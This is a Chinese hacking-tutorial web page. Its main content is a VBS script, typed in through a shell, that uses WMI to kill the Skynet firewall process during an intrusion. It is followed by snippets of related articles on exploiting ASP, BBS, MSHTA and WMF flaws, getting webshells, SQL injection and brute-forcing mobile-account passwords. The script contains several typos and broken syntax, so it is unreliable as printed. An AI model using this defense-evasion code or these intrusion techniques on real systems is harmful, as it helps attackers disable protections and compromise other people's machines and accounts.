入侵之中杀防火墙进程的代码_漏洞研究

写一个VBS脚本:

在SHELL里输入:

copy con kill.vbs (菜鸟注意:执行完这行之后就没有命令提示符了)

CODEstrComputer = "."

Set objWMIServive = GetObject("winmagmts:" _

& "{impersonationLevel=impcrsonatc}!\\" &strComputer & "\root\cimv2"

Set colProcesslist = objWMIService.ExecQuery _

("select * from Win32 Process Where Name = 'PFWMain.exe'"

For Each objPrecess in colProcessList

objProcess.Terminate()

Next

'PFWMain'是天网的防火墙,你可以自行更改

输入完之后同时按下"CTRL"+"z",命令提示符就又出来了.

然后就是执行他了:

csript kill.vbs

时间： 2024-10-30 09:16:33

入侵之中杀防火墙进程的代码_漏洞研究的相关文章

蜜罐技术:消除防火墙局限和脆弱_漏洞研究

防火墙是网络上使用最多的安全设备,是网络安全的重要基石.防火墙厂商为了占领市场,对防火墙的宣传越来越多,市场出现了很多错误的东西.其中一个典型的错误,是把防火墙万能化.但2002年8月的<计算机安全>中指出,防火墙的攻破率已经超过47%.正确认识和使用防火墙,确保网络的安全使用,研究防火墙的局限性和脆弱性已经十分必要. 防火墙十大局限性一.防火墙不能防范不经过防火墙的攻击.没有经过防火墙的数据,防火墙无法检查. 二.防火墙不能解决来自内部网络的攻击和安全问题.防火墙可以设计为既防

Internet Explorer6最新漏洞代码_漏洞研究

用代码如下: <script type="text/jscript"> function init() { document.write("The time is: " + Date() ); } window.onload = init; </script> 利用此代码可以隐藏网页前面的html代码,运行后就只能看见javascript语句里面执行的代码. 并且刷新后也不能再看见网站的源代码,并可利用javascript执行任意代码. 实

伯乐asp收信程序漏洞及利用程序利用代码_漏洞研究

http://forum.eviloctal.com/thread-32151-1-1.html 之后又有会员PM我..加上事过已久..也不是什么保密的东西了..网上也许到处都是了..就考虑把东西发出来..算是个学习吧.. 伯乐的收信程序(针对以前的老版本.后来修补了这个漏洞) 主数据库名第一次使用设置时是随机产生的..但因为他是通用收信程序..可以截获密保.. mibao.asp文件对提交的参数没有任何过滤复制代码代码如下: if action="put" then

小议yxbbs漏洞利用代码_漏洞研究

1.任意文件下载漏洞. 漏洞文件: ViewFile.asp Function ChkFile(FileName) Dim Temp,FileType,F ChkFile=false FileType=Lcase(Split(FileName,".")(ubound(Split(FileName,".")))) Temp="|asp|aspx|cgi|php|cdx|cer|asa|" If Instr(Temp,"|&quo

当备份数据库不能用时.用邮件列表得到WEBSHELL!(图)_漏洞研究

今天上午闲着无聊,刚好一个朋友发过来一个网站的后台管理密码.他要我帮他看看.我说你得到后台了.可以用备份数据库功能得到WEBSHELL啊.你还发过来干嘛.他说后台有数据备份的选项.但是不能用.大家看一下图! 列表得到WEBSHELL!(图)_漏洞研究-数据库备份拿shell"> 里面有备份的选项.但是点了之后出现错误!应该是管理员把文件改名了.或者是位置改变了.不能备份数据库,那怎么办,不能白白的浪费这样的一个机会.我就在后台里面到处看了一下.发现可以通过改网站注册用户的邮件地址.我们

MSHTA漏洞为黑客大开远程控制之门(图)_漏洞研究

这是一个可以让黑客欣喜若狂的新漏洞,一旦该漏洞被激活,就会有大量计算机成为黑客手中的肉鸡,被人远程控制不可避免-- 微软的Windows操作系统在进行了短暂的"喘息"后,近日又在攻击爱好者不懈努力下,被成功找出几个高危的系统安全漏洞,而Microsoft Windows MSHTA脚本执行漏洞就是其中的重要一员. 安全公告牌 MSHTA即HTA,此处的MS主要用于强调这是微软的漏洞,HTA全名为HTML Application,就是HTML应用程序,其实只要简单地用"hta&

图片引发的溢出危机(图)_漏洞研究

就在刚迈入2006年之际,Windows系统出现了一个严重的漏洞,这就是Microsoft Windows图形渲染引擎wmf格式代码漏洞(ms0601).这个漏洞出现在Windows的图形渲染引擎中,黑客可以构造恶意的wmf文件,引诱其他用户打开,当系统没有更新过wmf补丁时,将会执行黑客事先设置好的恶意代码,获取系统的最高权限,从而完全听命于黑客.就在漏洞公布几天后,网络上使用wmf漏洞进行传播的病毒.攻击事件不断,直至今日,网上仍然充斥着无数利用wmf漏洞的攻击.本文将向大家介绍有关wmf漏

河南移动网络客服系统验证码的缺陷分析和利用!_漏洞研究

先声明哦本文没有技术含量---只是为了证明java也可以作破解工具中国移动的在线客服系统大家应该非常熟悉,因为我是移动忠实的河南用户,自然就从河南移动说起．在移动大厅办理过业务的用户都很清楚,用户密码只能设置成6位数0-9．而网上服务系统和移动的核心数据库是同步的,密码也只能局限为6位数字．如此简单的密码组合非常适合暴力破解．我们来分析一下暴力破解的可行性．首先,系统对当天登录的次数要没有限制,我随便输入一个手机号测试系统容错次数．我试了十次,依然可以进入登录界面(yes-有戏)．接下来,

手工注射php学习_漏洞研究

代码: $conn=sql_connect($dbhost, $dbuser, $dbpswd, $dbname); $password = md5($password); $q = "select id,group_id from $user_table where username='$username' and password='$password'"; $res = sql_query($q,$conn); $row = sql_fetch_row($res);